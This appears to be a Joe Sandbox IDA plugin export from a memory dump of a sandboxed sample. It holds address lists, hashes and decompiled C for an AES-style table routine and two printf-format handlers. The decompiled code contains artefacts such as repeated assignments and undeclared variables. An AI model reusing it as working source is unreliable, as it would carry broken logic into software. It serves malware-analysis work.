0x00865ed8
0x00865ee8
0x00865ef1
0x00865ef3
0x00865ef6
0x00865f0a
0x00865f11
0x00865f14
0x00865f1e
0x00865f24
0x00865f28
0x00865f38
0x00865f47
0x00865f4a
0x00865f4c
0x00865f53
0x00865f56
0x00865f72
0x00865f7f
0x00865f81
0x00865f85
0x00865f8c
0x00865f93
0x00865fac
0x00865fb0
0x00865fb2
0x00865fb6
0x00865fca
0x00865fe1
0x00865fe6
0x00865fed
0x00866004
0x0086600e
0x00866010
0x00866014
0x00866020
0x00866025
0x0086602d
0x00866033
0x00866039
0x0086603d
0x00866047
0x00000000
0x00000000
0x00865e5c
0x00865e5c
0x0086604f
0x00866050
0x00866054
0x00866056
0x00866056
0x00866056
0x0086605b
0x0086605f
0x00866064
0x00866069
0x0086606e
0x00866070
0x00866072
0x00866076
0x00866085
0x00866094
0x00866096
0x00866099
0x008660a1
0x008660a6
0x008660af
0x008660b5
0x008660b9
0x008660bd
0x008660c4
0x008660c6
0x008660d9
0x008660e8
0x008660ea
0x008660ed
0x008660f5
0x00866108
0x0086610c
0x00866110
0x00866113
0x00866123
0x0086612c
0x00866136
0x00866139
0x0086613b
0x00866142
0x00866146
0x0086615b
0x00866164
0x00866168
0x0086616c
0x0086618e
0x0086619a
0x0086619d
0x0086619f
0x008661a2
0x008661b0
0x008661bd
0x008661da
0x008661dd
0x008661e1
0x008661e3
0x008661e6
0x008661ec
0x008661f4
0x008661fd
0x00866201
0x0086620a
0x0086620e
0x00866210
0x00866217
0x0086621b
0x00866224
0x00866228
0x0086622b
0x0086622e
0x00866231
0x00866233
0x0086623d

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 514146d052b76c2bbe04d199e0d1b6bd8b970c964cb76a6caf62cd08fe3ad574
Instruction ID: 39f4b229f65b100198f3ff6dfcc7049e91895c9a048e57505221fc5e9bb0844a
Opcode Fuzzy Hash: 514146d052b76c2bbe04d199e0d1b6bd8b970c964cb76a6caf62cd08fe3ad574
Instruction Fuzzy Hash: 91524A726187018FC718CF19C891A6AF7E1FFCC304F498A2DE9959B255D334EA19CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00865017 Relevance: .3, Instructions: 284
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00865017(char* __ecx) {
				void* _t212;
				signed int _t216;
				signed int* _t220;
				signed int _t222;
				unsigned int _t224;
				signed int* _t322;
				signed int _t323;
				unsigned int _t325;
				signed int* _t327;
				signed char _t330;
				signed char _t331;
				unsigned int _t333;
				signed int* _t335;
				signed int _t336;
				signed char _t359;
				signed char _t360;
				signed char _t361;
				signed int _t372;
				signed char _t374;
				signed char _t377;
				signed char _t378;
				char* _t391;
				signed int* _t393;
				signed int _t395;
				unsigned int _t397;
				unsigned int _t398;
				signed int* _t399;
				void* _t400;

				_t397 =  *(_t400 + 0x40);
				_t391 = __ecx;
				if(_t397 != 0) {
					_t398 = _t397 >> 4;
					 *(_t400 + 0x44) = _t398;
					if( *__ecx == 0) {
						_t5 = _t391 + 8; // 0x8
						_t335 = _t5;
						 *(_t400 + 0x18) = _t335;
						_t393 = _t335;
						if(_t398 == 0) {
							L14:
							 *_t335 =  *_t393;
							_t335[1] = _t393[1];
							_t335[2] = _t393[2];
							_t216 = _t393[3];
							_t335[3] = _t216;
							return _t216;
						}
						 *((intOrPtr*)(_t400 + 0xc)) =  *(_t400 + 0x4c) + 4;
						_t220 =  *(_t400 + 0x44) + 8;
						 *(_t400 + 0x18) = _t220;
						do {
							_t322 = _t220 - 8;
							if( *((char*)(_t391 + 1)) == 0) {
								_t323 =  *_t322;
								_t395 =  *(_t220 - 4);
								_t372 =  *_t220;
								_t336 = _t220[1];
								 *(_t400 + 0x34) = _t323;
								 *(_t400 + 0x38) = _t395;
								 *(_t400 + 0x3c) = _t372;
								 *(_t400 + 0x40) = _t336;
							} else {
								E00864FE5(_t400 + 0x3c, _t393, _t322);
								_t336 =  *(_t400 + 0x40);
								_t372 =  *(_t400 + 0x3c);
								_t395 =  *(_t400 + 0x38);
								_t323 =  *(_t400 + 0x34);
							}
							_t222 =  *(_t391 + 0x18) ^ _t323;
							 *(_t400 + 0x14) = _t222;
							_t325 =  *(_t391 + 0x1c) ^ _t395;
							 *(_t400 + 0x24) = _t222;
							_t224 =  *(_t391 + 0x20) ^ _t372;
							_t393 =  &(( *(_t400 + 0x10))[0xffffffffffffffff]);
							 *(_t400 + 0x18) = _t224;
							_t374 =  *(_t391 + 0x24) ^ _t336;
							 *(_t400 + 0x2c) = _t224;
							 *(_t400 + 0x28) = _t325;
							 *(_t400 + 0x30) = _t374;
							 *_t393 =  *(0x89a7e8 + (_t224 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x89a3e8 + (_t325 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x89abe8 + (_t374 >> 0x18) * 4) ^  *(0x899fe8 + ( *(_t400 + 0x14) & 0x000000ff) * 4);
							 *( *(_t400 + 0x10)) =  *(0x89a7e8 + (_t374 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x89a3e8 + ( *(_t400 + 0x18) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x89abe8 + ( *(_t400 + 0x14) >> 0x18) * 4) ^  *(0x899fe8 + (_t325 & 0x000000ff) * 4);
							( *(_t400 + 0x10))[1] =  *(0x89a7e8 + ( *(_t400 + 0x14) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x89a3e8 + (_t374 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x89abe8 + (_t325 >> 0x18) * 4) ^  *(0x899fe8 + ( *(_t400 + 0x18) & 0x000000ff) * 4);
							_t327 =  *(_t400 + 0x10);
							_t327[2] =  *(0x89a3e8 + ( *(_t400 + 0x14) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x89a7e8 + (_t325 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x89abe8 + ( *(_t400 + 0x18) >> 0x18) * 4) ^  *(0x899fe8 + (_t374 & 0x000000ff) * 4);
							_t375 =  *(_t391 + 4);
							 *(_t400 + 0x18) = 1;
							if( *(_t391 + 4) - 1 > 1) {
								_t82 = _t391 + 0x28; // 0x28
								_t362 = _t82;
								_t399 = _t327;
								 *(_t400 + 0x14) = _t82;
								do {
									E00864FE5(_t400 + 0x2c, _t393, _t362);
									_t378 =  *(_t400 + 0x28);
									_t330 =  *(_t400 + 0x2c);
									 *_t393 =  *(0x899fe8 + ( *(_t400 + 0x24) & 0x000000ff) * 4) ^  *(0x89a3e8 + (_t378 & 0x000000ff) * 4) ^  *(0x89a7e8 + ( *(_t400 + 0x2e) & 0x000000ff) * 4) ^  *(0x89abe8 + ( *(_t400 + 0x33) & 0x000000ff) * 4);
									 *_t399 =  *(0x89abe8 + ( *(_t400 + 0x27) & 0x000000ff) * 4) ^  *(0x899fe8 + (_t378 & 0x000000ff) * 4) ^  *(0x89a3e8 + (_t330 & 0x000000ff) * 4) ^  *(0x89a7e8 + ( *(_t400 + 0x32) & 0x000000ff) * 4);
									_t331 =  *(_t400 + 0x30);
									_t399[1] =  *(0x89a7e8 + ( *(_t400 + 0x26) & 0x000000ff) * 4) ^  *(0x89abe8 + ( *(_t400 + 0x2b) & 0x000000ff) * 4) ^  *(0x899fe8 + (_t330 & 0x000000ff) * 4) ^  *(0x89a3e8 + (_t331 & 0x000000ff) * 4);
									_t362 =  *(_t400 + 0x14) + 0x10;
									 *(_t400 + 0x14) =  *(_t400 + 0x14) + 0x10;
									_t333 =  *(_t400 + 0x18) + 1;
									_t399[2] =  *(0x89a3e8 + ( *(_t400 + 0x24) & 0x000000ff) * 4) ^  *(0x89a7e8 + ( *(_t400 + 0x2a) & 0x000000ff) * 4) ^  *(0x89abe8 + ( *(_t400 + 0x2f) & 0x000000ff) * 4) ^  *(0x899fe8 + (_t331 & 0x000000ff) * 4);
									_t375 =  *(_t391 + 4);
									 *(_t400 + 0x18) = _t333;
								} while (_t333 <  *(_t391 + 4) - 1);
								_t398 =  *(_t400 + 0x4c);
								_t327 =  *(_t400 + 0x10);
							}
							_t140 = _t391 + 8; // 0x8
							E00864FE5(_t400 + 0x2c, _t393, _t140 + (_t375 << 4));
							_t377 =  *(_t400 + 0x24);
							_t359 =  *(_t400 + 0x28);
							 *_t393 =  *((intOrPtr*)(0x899fe9 + (_t377 & 0x000000ff) * 4));
							 *((char*)(_t327 - 3)) =  *((intOrPtr*)(0x899fe9 + (_t359 & 0x000000ff) * 4));
							 *((char*)(_t327 - 2)) =  *((intOrPtr*)(0x899fe9 + ( *(_t400 + 0x2e) & 0x000000ff) * 4));
							 *((char*)(_t327 - 1)) =  *((intOrPtr*)(0x899fe9 + ( *(_t400 + 0x33) & 0x000000ff) * 4));
							_t360 =  *(_t400 + 0x2c);
							 *_t327 =  *((intOrPtr*)(0x899fe9 + (_t359 & 0x000000ff) * 4));
							_t327[0] =  *((intOrPtr*)(0x899fe9 + (_t360 & 0x000000ff) * 4));
							_t327[0] =  *((intOrPtr*)(0x899fe9 + ( *(_t400 + 0x32) & 0x000000ff) * 4));
							_t327[0] =  *((intOrPtr*)(0x899fe9 + ( *(_t400 + 0x27) & 0x000000ff) * 4));
							_t361 =  *(_t400 + 0x30);
							_t327[1] =  *((intOrPtr*)(0x899fe9 + (_t360 & 0x000000ff) * 4));
							_t327[1] =  *((intOrPtr*)(0x899fe9 + (_t361 & 0x000000ff) * 4));
							_t327[1] =  *((intOrPtr*)(0x899fe9 + ( *(_t400 + 0x26) & 0x000000ff) * 4));
							_t327[1] =  *((intOrPtr*)(0x899fe9 + ( *(_t400 + 0x2b) & 0x000000ff) * 4));
							_t327[2] =  *((intOrPtr*)(0x899fe9 + (_t361 & 0x000000ff) * 4));
							_t327[2] =  *((intOrPtr*)(0x899fe9 + (_t377 & 0x000000ff) * 4));
							_t327[2] =  *((intOrPtr*)(0x899fe9 + ( *(_t400 + 0x2a) & 0x000000ff) * 4));
							_t327[2] =  *((intOrPtr*)(0x899fe9 + ( *(_t400 + 0x2f) & 0x000000ff) * 4));
							E00864FE5(_t393, _t393, ( *(_t391 + 4) << 4) + 0x18 + _t391);
							_t220 =  &(( *(_t400 + 0x1c))[4]);
							 *(_t400 + 0x10) =  &(_t327[4]);
							_t398 = _t398 - 1;
							 *(_t400 + 0x1c) = _t220;
							 *(_t400 + 0x4c) = _t398;
						} while (_t398 != 0);
						_t335 =  *(_t400 + 0x20);
						goto L14;
					}
					return E00865455( *((intOrPtr*)(_t400 + 0x48)), _t398,  *((intOrPtr*)(_t400 + 0x48)));
				}
				return _t212;
			}

0x0086501b
0x00865020
0x00865024
0x0086502a
0x00865030
0x00865034
0x00865049
0x00865049
0x0086504c
0x00865051
0x00865055
0x00865436
0x00865438
0x0086543d
0x00865443
0x00865446
0x00865449
0x00000000
0x0086544c
0x00865062
0x0086506a
0x0086506d
0x00865072
0x00865076
0x00865079
0x00865099
0x0086509b
0x0086509e
0x008650a0
0x008650a3
0x008650a7
0x008650ab
0x008650af
0x0086507b
0x00865082
0x00865087
0x0086508b
0x0086508f
0x00865093
0x00865093
0x008650b6
0x008650bb
0x008650bf
0x008650c1
0x008650c8
0x008650d1
0x008650d4
0x008650d8
0x008650da
0x008650ec
0x008650f7
0x00865121
0x0086515a
0x0086519d
0x008651ad
0x008651d7
0x008651dc
0x008651e0
0x008651e9
0x008651ef
0x008651ef
0x008651f2
0x008651f4
0x008651f8
0x008651ff
0x00865208
0x00865212
0x00865241
0x00865274
0x0086528d
0x008652a9
0x008652c3
0x008652c6
0x008652df
0x008652e0
0x008652e3
0x008652e6
0x008652ed
0x008652f5
0x008652f9
0x008652f9
0x00865300
0x0086530c
0x00865311
0x00865315
0x00865323
0x0086532f
0x0086533e
0x0086534d
0x00865353
0x0086535e
0x0086536a
0x00865379
0x00865388
0x0086538e
0x00865399
0x008653a6
0x008653b5
0x008653c4
0x008653d1
0x008653de
0x008653ed
0x008653fc
0x0086540d
0x00865419
0x0086541c
0x00865420
0x00865423
0x00865427
0x00865427
0x00865431
0x00000000
0x00865435
0x00000000
0x0086503f
0x00865452

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a967a2397f5c753b9a10a6e7770583381eebe217f4bb649918be5a5d71f50cf
Instruction ID: f0df3c91fa1ddf44f8291626690658bebb022280171f21498c78bb96dc97d163
Opcode Fuzzy Hash: 1a967a2397f5c753b9a10a6e7770583381eebe217f4bb649918be5a5d71f50cf
Instruction Fuzzy Hash: 69D15A745082908FC704DF6DE89086ABBF0BB9A301B48895FF5D587352C631EA56DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 00879A61 Relevance: .2, Instructions: 237
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 84%

			E00879A61(void* __ecx, void* __edi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __esi;
				signed int _t52;
				signed int _t54;
				signed int _t55;
				void* _t56;
				signed int _t57;
				signed char _t60;
				signed char _t62;
				signed int _t64;
				void* _t65;
				signed int _t66;
				signed char _t75;
				signed char _t78;
				void* _t86;
				void* _t88;
				signed char _t90;
				signed char _t92;
				signed int _t93;
				signed int _t95;
				signed int _t97;
				signed int _t98;
				signed int _t101;
				void* _t103;
				signed int _t109;
				unsigned int _t111;
				signed char _t113;
				unsigned int _t121;
				void* _t122;
				signed int _t123;
				short _t124;
				void* _t127;
				void* _t128;
				void* _t129;
				signed int _t130;
				void* _t131;
				void* _t133;
				void* _t134;

				_t122 = __edi;
				_t52 =  *0x893688; // 0xe2d35318
				_v8 = _t52 ^ _t130;
				_t129 = __ecx;
				_t101 = 0;
				_t121 = 0x41;
				_t54 =  *(__ecx + 0x32) & 0x0000ffff;
				_t103 = 0x58;
				_t133 = _t54 - 0x64;
				if(_t133 > 0) {
					__eflags = _t54 - 0x70;
					if(__eflags > 0) {
						_t55 = _t54 - 0x73;
						__eflags = _t55;
						if(_t55 == 0) {
							L9:
							_t56 = E0087A493(_t129);
							L10:
							if(_t56 != 0) {
								__eflags =  *((intOrPtr*)(_t129 + 0x30)) - _t101;
								if( *((intOrPtr*)(_t129 + 0x30)) != _t101) {
									L71:
									_t57 = 1;
									L72:
									return E0087494C(_t57, _t101, _v8 ^ _t130, _t121, _t122, _t129);
								}
								_t121 =  *(_t129 + 0x20);
								_push(_t122);
								_v16 = _t101;
								_t60 = _t121 >> 4;
								_v12 = _t101;
								_t123 = 0x20;
								__eflags = 1 & _t60;
								if((1 & _t60) == 0) {
									L46:
									_t109 =  *(_t129 + 0x32) & 0x0000ffff;
									__eflags = _t109 - 0x78;
									if(_t109 == 0x78) {
										L48:
										_t62 = _t121 >> 5;
										__eflags = _t62 & 0x00000001;
										if((_t62 & 0x00000001) == 0) {
											L50:
											__eflags = 0;
											L51:
											__eflags = _t109 - 0x61;
											if(_t109 == 0x61) {
												L54:
												_t64 = 1;
												L55:
												_t124 = 0x30;
												__eflags = _t64;
												if(_t64 != 0) {
													L57:
													_t65 = 0x58;
													 *((short*)(_t130 + _t101 * 2 - 0xc)) = _t124;
													__eflags = _t109 - _t65;
													if(_t109 == _t65) {
														L60:
														_t66 = 1;
														L61:
														__eflags = _t66;
														asm("cbw");
														 *((short*)(_t130 + _t101 * 2 - 0xa)) = ((_t66 & 0xffffff00 | _t66 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x78;
														_t101 = _t101 + 2;
														__eflags = _t101;
														L62:
														_t127 =  *((intOrPtr*)(_t129 + 0x24)) -  *((intOrPtr*)(_t129 + 0x38)) - _t101;
														__eflags = _t121 & 0x0000000c;
														if((_t121 & 0x0000000c) == 0) {
															E00878D28(_t129 + 0x448, 0x20, _t127, _t129 + 0x18);
															_t131 = _t131 + 0x10;
														}
														E0087A7AE(_t129 + 0x448,  &_v16, _t101, _t129 + 0x18,  *((intOrPtr*)(_t129 + 0xc)));
														_t111 =  *(_t129 + 0x20);
														_t101 = _t129 + 0x18;
														_t75 = _t111 >> 3;
														__eflags = _t75 & 0x00000001;
														if((_t75 & 0x00000001) != 0) {
															_t113 = _t111 >> 2;
															__eflags = _t113 & 0x00000001;
															if((_t113 & 0x00000001) == 0) {
																E00878D28(_t129 + 0x448, 0x30, _t127, _t101);
																_t131 = _t131 + 0x10;
															}
														}
														E0087A690(_t129, 0);
														__eflags =  *_t101;
														if( *_t101 >= 0) {
															_t78 =  *(_t129 + 0x20) >> 2;
															__eflags = _t78 & 0x00000001;
															if((_t78 & 0x00000001) != 0) {
																E00878D28(_t129 + 0x448, 0x20, _t127, _t101);
															}
														}
														_pop(_t122);
														goto L71;
													}
													_t86 = 0x41;
													__eflags = _t109 - _t86;
													if(_t109 == _t86) {
														goto L60;
													}
													_t66 = 0;
													goto L61;
												}
												__eflags = _t64;
												if(_t64 == 0) {
													goto L62;
												}
												goto L57;
											}
											_t128 = 0x41;
											__eflags = _t109 - _t128;
											if(_t109 == _t128) {
												goto L54;
											}
											_t64 = 0;
											goto L55;
										}
										goto L51;
									}
									_t88 = 0x58;
									__eflags = _t109 - _t88;
									if(_t109 != _t88) {
										goto L50;
									}
									goto L48;
								}
								_t90 = _t121 >> 6;
								__eflags = 1 & _t90;
								if((1 & _t90) == 0) {
									__eflags = 1 & _t121;
									if((1 & _t121) == 0) {
										_t92 = _t121 >> 1;
										__eflags = 1 & _t92;
										if((1 & _t92) == 0) {
											goto L46;
										}
										_v16 = _t123;
										L45:
										_t101 = 1;
										goto L46;
									}
									_push(0x2b);
									L40:
									_pop(_t93);
									_v16 = _t93;
									goto L45;
								}
								_push(0x2d);
								goto L40;
							}
							L11:
							_t57 = 0;
							goto L72;
						}
						_t95 = _t55;
						__eflags = _t95;
						if(__eflags == 0) {
							L28:
							_push(_t101);
							_push(0xa);
							L29:
							_t56 = E0087A22B(_t129, _t122, __eflags);
							goto L10;
						}
						__eflags = _t95 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L29;
					}
					if(__eflags == 0) {
						_t56 = E0087A408(__ecx);
						goto L10;
					}
					__eflags = _t54 - 0x67;
					if(_t54 <= 0x67) {
						L30:
						_t56 = E00879F91(_t101, _t129);
						goto L10;
					}
					__eflags = _t54 - 0x69;
					if(_t54 == 0x69) {
						L27:
						_t3 = _t129 + 0x20;
						 *_t3 =  *(_t129 + 0x20) | 0x00000010;
						__eflags =  *_t3;
						goto L28;
					}
					__eflags = _t54 - 0x6e;
					if(_t54 == 0x6e) {
						_t56 = E0087A375(__ecx, _t121);
						goto L10;
					}
					__eflags = _t54 - 0x6f;
					if(_t54 != 0x6f) {
						goto L11;
					}
					_t56 = E0087A3E9(__ecx);
					goto L10;
				}
				if(_t133 == 0) {
					goto L27;
				}
				_t134 = _t54 - _t103;
				if(_t134 > 0) {
					_t97 = _t54 - 0x5a;
					__eflags = _t97;
					if(_t97 == 0) {
						_t56 = E00879DD4(__ecx);
						goto L10;
					}
					_t98 = _t97 - 7;
					__eflags = _t98;
					if(_t98 == 0) {
						goto L30;
					}
					__eflags = _t98;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t56 = E0087A193(_t129, __eflags, _t101);
					goto L10;
				}
				if(_t134 == 0) {
					_push(1);
					goto L13;
				}
				if(_t54 == _t121) {
					goto L30;
				}
				if(_t54 == 0x43) {
					goto L17;
				}
				if(_t54 <= 0x44) {
					goto L11;
				}
				if(_t54 <= 0x47) {
					goto L30;
				}
				if(_t54 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x00879a61
0x00879a69
0x00879a70
0x00879a75
0x00879a77
0x00879a7b
0x00879a7e
0x00879a82
0x00879a83
0x00879a86
0x00879af3
0x00879af6
0x00879b45
0x00879b45
0x00879b48
0x00879ab4
0x00879ab6
0x00879abb
0x00879abd
0x00879b63
0x00879b66
0x00879cac
0x00879cac
0x00879cae
0x00879cbd
0x00879cbd
0x00879b6c
0x00879b71
0x00879b74
0x00879b77
0x00879b7b
0x00879b81
0x00879b82
0x00879b84
0x00879bae
0x00879bae
0x00879bb2
0x00879bb5
0x00879bbf
0x00879bc1
0x00879bc4
0x00879bc6
0x00879bcc
0x00879bcc
0x00879bce
0x00879bce
0x00879bd1
0x00879bdf
0x00879bdf
0x00879be1
0x00879be3
0x00879be4
0x00879be6
0x00879bec
0x00879bee
0x00879bef
0x00879bf4
0x00879bf7
0x00879c05
0x00879c05
0x00879c07
0x00879c07
0x00879c12
0x00879c14
0x00879c19
0x00879c19
0x00879c1c
0x00879c22
0x00879c24
0x00879c27
0x00879c37
0x00879c3c
0x00879c3c
0x00879c51
0x00879c56
0x00879c59
0x00879c5e
0x00879c61
0x00879c63
0x00879c65
0x00879c68
0x00879c6b
0x00879c78
0x00879c7d
0x00879c7d
0x00879c6b
0x00879c84
0x00879c89
0x00879c8c
0x00879c91
0x00879c94
0x00879c96
0x00879ca3
0x00879ca8
0x00879c96
0x00879cab
0x00000000
0x00879cab
0x00879bfb
0x00879bfc
0x00879bff
0x00000000
0x00000000
0x00879c01
0x00000000
0x00879c01
0x00879be8
0x00879bea
0x00000000
0x00000000
0x00000000
0x00879bea
0x00879bd5
0x00879bd6
0x00879bd9
0x00000000
0x00000000
0x00879bdb
0x00000000
0x00879bdb
0x00000000
0x00879bc8
0x00879bb9
0x00879bba
0x00879bbd
0x00000000
0x00000000
0x00000000
0x00879bbd
0x00879b88
0x00879b8b
0x00879b8d
0x00879b98
0x00879b9a
0x00879ba2
0x00879ba4
0x00879ba6
0x00000000
0x00000000
0x00879ba8
0x00879bac
0x00879bac
0x00000000
0x00879bac
0x00879b9c
0x00879b91
0x00879b91
0x00879b92
0x00000000
0x00879b92
0x00879b8f
0x00000000
0x00879b8f
0x00879ac3
0x00879ac3
0x00000000
0x00879ac3
0x00879b4f
0x00879b4f
0x00879b52
0x00879b24
0x00879b24
0x00879b25
0x00879b27
0x00879b29
0x00000000
0x00879b29
0x00879b54
0x00879b57
0x00000000
0x00000000
0x00879b5d
0x00879acc
0x00879acc
0x00000000
0x00879acc
0x00879af8
0x00879b3b
0x00000000
0x00879b3b
0x00879afa
0x00879afd
0x00879b30
0x00879b32
0x00000000
0x00879b32
0x00879aff
0x00879b02
0x00879b20
0x00879b20
0x00879b20
0x00879b20
0x00000000
0x00879b20
0x00879b04
0x00879b07
0x00879b19
0x00000000
0x00879b19
0x00879b09
0x00879b0c
0x00000000
0x00000000
0x00879b10
0x00000000
0x00879b10
0x00879a88
0x00000000
0x00000000
0x00879a8e
0x00879a90
0x00879ad0
0x00879ad0
0x00879ad3
0x00879aec
0x00000000
0x00879aec
0x00879ad5
0x00879ad5
0x00879ad8
0x00000000
0x00000000
0x00879adb
0x00879ade
0x00000000
0x00000000
0x00879ae0
0x00879ae3
0x00000000
0x00879ae3
0x00879a92
0x00879aca
0x00000000
0x00879aca
0x00879a96
0x00000000
0x00000000
0x00879a9f
0x00000000
0x00000000
0x00879aa4
0x00000000
0x00000000
0x00879aa9
0x00000000
0x00000000
0x00879ab2
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a3591a61df32ed517c48e33cefa9fb45f1d6fd296984c7eae915445b1bd7fab
Instruction ID: 0bcf6e45a1c94053d674d79665f238bd944d9f1b7d27f6bd2ee2d8d3e978de0b
Opcode Fuzzy Hash: 8a3591a61df32ed517c48e33cefa9fb45f1d6fd296984c7eae915445b1bd7fab
Instruction Fuzzy Hash: B9616C7160072866DE38992C9896BBEB398FF91324F14C819E4CFDB2CDD611DD42D35A

Uniqueness

Uniqueness Score: -1.00%

Function 00879832 Relevance: .2, Instructions: 214
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 88%

			E00879832(void* __ecx) {
				char _v6;
				char _v8;
				void* __ebx;
				void* __edi;
				char _t49;
				signed int _t50;
				void* _t51;
				signed char _t54;
				signed char _t56;
				signed int _t57;
				signed int _t58;
				signed char _t67;
				signed char _t69;
				signed char _t71;
				signed char _t80;
				signed char _t82;
				signed int _t84;
				signed int _t86;
				signed int _t87;
				signed char _t92;
				void* _t95;
				intOrPtr _t100;
				unsigned int _t102;
				signed char _t104;
				void* _t112;
				unsigned int _t113;
				void* _t114;
				signed int _t115;
				signed int* _t116;
				void* _t119;
				void* _t121;
				void* _t122;
				void* _t124;
				void* _t125;

				_push(__ecx);
				_t119 = __ecx;
				_t92 = 1;
				_t49 =  *((char*)(__ecx + 0x31));
				_t124 = _t49 - 0x64;
				if(_t124 > 0) {
					__eflags = _t49 - 0x70;
					if(__eflags > 0) {
						_t50 = _t49 - 0x73;
						__eflags = _t50;
						if(_t50 == 0) {
							L9:
							_t51 = E0087A420(_t119);
							L10:
							if(_t51 != 0) {
								__eflags =  *((char*)(_t119 + 0x30));
								if( *((char*)(_t119 + 0x30)) == 0) {
									_t113 =  *(_t119 + 0x20);
									_push(_t114);
									_v8 = 0;
									_t115 = 0;
									_v6 = 0;
									_t54 = _t113 >> 4;
									__eflags = _t92 & _t54;
									if((_t92 & _t54) == 0) {
										L46:
										_t100 =  *((intOrPtr*)(_t119 + 0x31));
										__eflags = _t100 - 0x78;
										if(_t100 == 0x78) {
											L48:
											_t56 = _t113 >> 5;
											__eflags = _t92 & _t56;
											if((_t92 & _t56) != 0) {
												L50:
												__eflags = _t100 - 0x61;
												if(_t100 == 0x61) {
													L53:
													_t57 = 1;
													L54:
													__eflags = _t92;
													if(_t92 != 0) {
														L56:
														 *((char*)(_t121 + _t115 - 4)) = 0x30;
														__eflags = _t100 - 0x58;
														if(_t100 == 0x58) {
															L59:
															_t58 = 1;
															L60:
															__eflags = _t58;
															 *((char*)(_t121 + _t115 - 3)) = ((_t58 & 0xffffff00 | _t58 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x78;
															_t115 = _t115 + 2;
															__eflags = _t115;
															L61:
															_t95 =  *((intOrPtr*)(_t119 + 0x24)) -  *((intOrPtr*)(_t119 + 0x38)) - _t115;
															__eflags = _t113 & 0x0000000c;
															if((_t113 & 0x0000000c) == 0) {
																E00878CFC(_t119 + 0x448, 0x20, _t95, _t119 + 0x18);
																_t122 = _t122 + 0x10;
															}
															E0087A71B(_t119 + 0x448,  &_v8, _t115, _t119 + 0x18,  *((intOrPtr*)(_t119 + 0xc)));
															_t102 =  *(_t119 + 0x20);
															_t116 = _t119 + 0x18;
															_t67 = _t102 >> 3;
															__eflags = _t67 & 0x00000001;
															if((_t67 & 0x00000001) != 0) {
																_t104 = _t102 >> 2;
																__eflags = _t104 & 0x00000001;
																if((_t104 & 0x00000001) == 0) {
